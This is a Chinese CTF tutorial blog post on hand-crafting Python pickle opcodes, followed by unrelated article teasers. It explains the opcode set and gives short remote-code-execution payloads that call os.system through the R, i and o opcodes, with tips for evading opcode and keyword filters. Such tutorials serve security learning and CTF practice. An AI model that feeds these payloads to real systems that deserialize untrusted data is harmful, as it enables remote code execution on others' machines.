如何手写opcode
在CTF中很多时候需要一次执行多个函数或一次进行多个指令此时就不能光用__reduce__来解决问题reduce一次只能执行一个函数当exec被禁用时就不能一次执行多条指令了而需要手动拼接或构造opcode了。手写opcode是pickle反序列化比较难的地方。在这里可以体会到为何pickle是一种语言直接编写的opcode灵活性比使用pickle序列化生成的代码更高只要符合pickle语法就可以进行变量覆盖、函数执行等操作。根据前文不同版本的opcode可以看出版本0的opcode更方便阅读所以手动编写时一般选用版本0的opcode。这里列举了几个opcode更多的可以去https://github.com/python/cpython/blob/master/Lib/pickle.py#L111opcode描述具体写法栈上的变化memo上的变化c获取一个全局对象或import一个模块注会调用import语句能够引入新的包c[module]\n[instance]\n获得的对象入栈无o寻找栈中的上一个MARK以之间的第一个数据必须为函数为callable第二个到第n个数据为参数执行该函数或实例化一个对象o这个过程中涉及到的数据都出栈函数的返回值或生成的对象入栈无i相当于c和o的组合先获取一个全局函数然后寻找栈中的上一个MARK并组合之间的数据为元组以该元组为参数执行全局函数或实例化一个对象i[module]\n[callable]\n这个过程中涉及到的数据都出栈函数返回值或生成的对象入栈无N实例化一个NoneN获得的对象入栈无S实例化一个字符串对象Sxxx\n也可以使用双引号、等python字符串形式获得的对象入栈无V实例化一个UNICODE字符串对象Vxxx\n获得的对象入栈无I实例化一个int对象Ixxx\n获得的对象入栈无F实例化一个float对象Fx.x\n获得的对象入栈无R选择栈上的第一个对象作为函数、第二个对象作为参数第二个对象必须为元组然后调用该函数R函数和参数出栈函数的返回值入栈无.程序结束栈顶的一个元素作为pickle.loads()的返回值.无无(向栈中压入一个MARK标记(MARK标记入栈无t寻找栈中的上一个MARK并组合之间的数据为元组tMARK标记以及被组合的数据出栈获得的对象入栈无)向栈中直接压入一个空元组)空元组入栈无l寻找栈中的上一个MARK并组合之间的数据为列表lMARK标记以及被组合的数据出栈获得的对象入栈无]向栈中直接压入一个空列表]空列表入栈无d寻找栈中的上一个MARK并组合之间的数据为字典数据必须有偶数个即呈key-value对dMARK标记以及被组合的数据出栈获得的对象入栈无}向栈中直接压入一个空字典}空字典入栈无p将栈顶对象储存至memo_npn\n无对象被储存g将memo_n的对象压栈gn\n对象被压栈无0丢弃栈顶对象0栈顶对象被丢弃无b使用栈中的第一个元素储存多个属性名: 属性值的字典对第二个元素对象实例进行属性设置b栈上第一个元素出栈无s将栈的第一个和第二个对象作为key-value对添加或更新到栈的第三个对象必须为列表或字典列表以数字作为key中s第一、二个元素出栈第三个元素列表或字典添加新值或被更新无u寻找栈中的上一个MARK组合之间的数据数据必须有偶数个即呈key-value对并全部添加或更新到该MARK之前的一个元素必须为字典中uMARK标记以及被组合的数据出栈字典被更新无a将栈的第一个元素append到第二个元素(列表)中a栈顶元素出栈第二个元素列表被更新无e寻找栈中的上一个MARK组合之间的数据并extends到该MARK之前的一个元素必须为列表中eMARK标记以及被组合的数据出栈列表被更新无对于做题而言会opache改写就行了INSTi、OBJo、REDUCER都可以调用一个 callable 对象RCE demo:R:bcos\nsystem\n(Swhoami\ntR.c获取全局对象指令。格式为 c[模块]\n[对象]\n这里是加载 os 模块的 system 函数。(压入 MARK 标记。Swhoami压入字符串 whoami 作为参数。t构建元组将 MARK 到当前位置的元素打包成元组。R调用指令REDUCE执行栈顶的可调用对象os.system并传入元组参数。.结束返回结果。ib(Swhoami\nios\nsystem\n.(压入 MARK 标记。Swhoami压入参数 whoami。i实例化指令INST需要栈顶是类 / 函数其下是参数。os\nsystem加载 os.system 函数作为可调用对象。.结束执行函数调用。ob(cos\nsystem\nSwhoami\no.o调用指令OBJECT找到 MARK 标记将 MARK 后的第一个元素作为可调用对象后续作为参数执行调用。无R,i,o os可过b(cos\nsystem\nScalc\nos.无R,i,o os 可过 关键词过滤b(Skey1\nSval1\ndSvul\n(cos\nsystem\nVcalc\nos.V操作码是可以识别\u (unicode编码绕过)特别是命令有特殊功能字符

相关新闻

Java毕业设计-基于 SpringBoot 的线上电子招投标系统的设计与实现 基于 SpringBoot 的企业电子化招投标管理系统(源码+LW+部署文档+全bao+远程调试+代码讲解等)

Java毕业设计-基于 SpringBoot 的线上电子招投标系统的设计与实现 基于 SpringBoot 的企业电子化招投标管理系统(源码+LW+部署文档+全bao+远程调试+代码讲解等)

博主介绍:✌️码农一枚 ,专注于大学生项目实战开发、讲解和毕业🚢文撰写修改等。全栈领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围:&am…

2026/7/1 2:37:04阅读更多 →
死磕Spring Boot Validation校验

死磕Spring Boot Validation校验

一、基本介绍 SpringBoot提供了方便的validation主要对输入数据进行校验,确保数据符合预期规则,是保证应用健壮性的重要手段, 1、Bean Validation:基于 JSR-380 (Bean Validation 2.0) 规范、 2、Hibernate Validator&#xff1a…

2026/7/1 2:37:04阅读更多 →
SpringCache缓存介绍

SpringCache缓存介绍

SpringCache注解 在SpringCache中提供了很多缓存操作的注解,常见的是以下的几个: 注解 说明   EnableCaching 开启缓存注解功能   Cacheable 在方法执行前spring先查看缓存中是否有数据,如果有数据,则直接返回缓存数据&#x…

2026/7/1 2:32:03阅读更多 →
企业级AI Agent实战:Hermes Agent与Harness Engineering工程化落地指南

企业级AI Agent实战:Hermes Agent与Harness Engineering工程化落地指南

如果你正在寻找一个能真正将AI大模型能力融入企业级应用的实战框架,那么Hermes Agent与Harness Engineering的组合绝对值得你花时间研究。这不是一个简单的概念演示,而是一套旨在解决实际业务问题、强调工程化落地的AI Agent开发范式。它关注的重点不是模…

2026/7/1 3:42:08阅读更多 →
超越Redis:揭秘操作系统底层缓存机制的性能优化实践

超越Redis:揭秘操作系统底层缓存机制的性能优化实践

在开发高性能应用时,我们常常第一时间想到 Redis 这类分布式缓存中间件,仿佛它是解决所有性能瓶颈的“银弹”。然而,你是否遇到过这样的场景:即使引入了 Redis,应用的响应速度依然不尽如人意,尤其是在处理大…

2026/7/1 3:42:08阅读更多 →
操作系统缓存 vs Redis:揭秘高性能缓存的底层原理与选型策略

操作系统缓存 vs Redis:揭秘高性能缓存的底层原理与选型策略

在实际后端开发和系统优化中,Redis 作为高性能缓存中间件几乎成了标配。当应用响应变慢时,开发者的第一反应往往是“加一层 Redis 缓存”。然而,这种思维定式可能让我们忽略了离数据更近、性能损耗更低、且早已存在的“隐形缓存”——操作系统…

2026/7/1 3:42:08阅读更多 →
超越Redis:揭秘操作系统隐形缓存体系,优化系统性能的底层逻辑

超越Redis:揭秘操作系统隐形缓存体系,优化系统性能的底层逻辑

你是不是也遇到过这种情况:系统性能瓶颈,第一反应就是“上Redis缓存”;接口响应慢,立刻想到“是不是缓存没命中”;甚至很多架构设计文档里,缓存层几乎成了标配,仿佛没有Redis的系统就不够“现代…

2026/7/1 3:42:08阅读更多 →
跟风,网上说能白发变黑是真的吗?

跟风,网上说能白发变黑是真的吗?

跟风,网上说能白发变黑是真的吗?答案是真的,对于营养不均衡、压力熬夜导致的营养缺乏型白发,通过科学补充对应营养素,确实可以为黑色素合成提供支持,改善发根灰白问题一、跟风尝试白发变黑方法前&#xff0…

2026/7/1 3:42:08阅读更多 →
选私域SaaS工具,最容易踩什么坑?

选私域SaaS工具,最容易踩什么坑?

私域SaaS的采购决策,正在变成一笔算不清的账。工具越上越多,从企微SCRM到直播软件到小程序商城,单点工具凑了六七个,数据却各管一段。最后复盘发现,真正在用的功能不到三成,剩下七成是"为了不留短板&q…

2026/7/1 3:37:07阅读更多 →
AI Coding 六个月真实ROI账本:产品经理的血泪教训,研发的冷静忠告

AI Coding 六个月真实ROI账本:产品经理的血泪教训,研发的冷静忠告

6个月前的2025年12月,Boris Cherny 公开宣布自己卸载了 IDE。一时间,Vibe Coding 成了全行业最热的话题。6个月后,当我们回过头来拉一份真实账本,发现事情远没有"一句话生成一个App"那么浪漫。本文从产品经理和研发两个…

2026/6/30 4:03:30阅读更多 →
审计来了,数据权限全开——审计走了,怎么确保权限全部关掉?

审计来了,数据权限全开——审计走了,怎么确保权限全部关掉?

引言:审计结束三个月了,审计员的权限还没关某城商行每年按照监管要求开展至少一次数据安全审计。审计期间,内审部门需要抽样检查各类业务数据——交易流水、客户信息、员工操作日志、权限配置记录。这些数据分布在不同系统中,审计…

2026/6/30 4:36:27阅读更多 →
YOLOv8推理性能优化:从1.2FPS到35FPS的全链路加速实践

YOLOv8推理性能优化:从1.2FPS到35FPS的全链路加速实践

如果你在部署 YOLOv8 时,发现推理速度只有可怜的 1-2 FPS,而别人的演示视频却能跑到 30 FPS 以上,那么问题很可能不在模型本身,而在于你的整个处理链路。很多开发者拿到一个训练好的 YOLOv8 模型后,会直接使用官方示例…

2026/7/1 0:01:44阅读更多 →
Coze与Dify对比指南:低代码AI应用开发从入门到实战

Coze与Dify对比指南:低代码AI应用开发从入门到实战

1. 从零到一:为什么你需要了解 Coze 和 Dify?如果你对 AI 应用开发感兴趣,但一看到“大模型”、“智能体”、“工作流”这些词就头疼,觉得门槛太高,那这篇文章就是为你准备的。很多开发者,包括我自己&#…

2026/7/1 0:01:44阅读更多 →
AI生图工具怎么选?2026年6月版实测对比

AI生图工具怎么选?2026年6月版实测对比

做自媒体的朋友应该都有体会:配图一直是个让人头疼的问题。2026年,AI生图工具已经非常成熟了,但工具太多反而不知道怎么选。以下是截至2026年6月我对主流AI生图工具的实测对比。Midjourney V8.1:速度之王2026年6月11日&#xff0c…

2026/7/1 0:01:44阅读更多 →
YOLOv8推理性能优化:从1.2FPS到35FPS的全链路加速实践

YOLOv8推理性能优化:从1.2FPS到35FPS的全链路加速实践

如果你在部署 YOLOv8 时,发现推理速度只有可怜的 1-2 FPS,而别人的演示视频却能跑到 30 FPS 以上,那么问题很可能不在模型本身,而在于你的整个处理链路。很多开发者拿到一个训练好的 YOLOv8 模型后,会直接使用官方示例…

2026/7/1 0:01:44阅读更多 →
Coze与Dify对比指南:低代码AI应用开发从入门到实战

Coze与Dify对比指南:低代码AI应用开发从入门到实战

1. 从零到一:为什么你需要了解 Coze 和 Dify?如果你对 AI 应用开发感兴趣,但一看到“大模型”、“智能体”、“工作流”这些词就头疼,觉得门槛太高,那这篇文章就是为你准备的。很多开发者,包括我自己&#…

2026/7/1 0:01:44阅读更多 →
AI生图工具怎么选?2026年6月版实测对比

AI生图工具怎么选?2026年6月版实测对比

做自媒体的朋友应该都有体会:配图一直是个让人头疼的问题。2026年,AI生图工具已经非常成熟了,但工具太多反而不知道怎么选。以下是截至2026年6月我对主流AI生图工具的实测对比。Midjourney V8.1:速度之王2026年6月11日&#xff0c…

2026/7/1 0:01:44阅读更多 →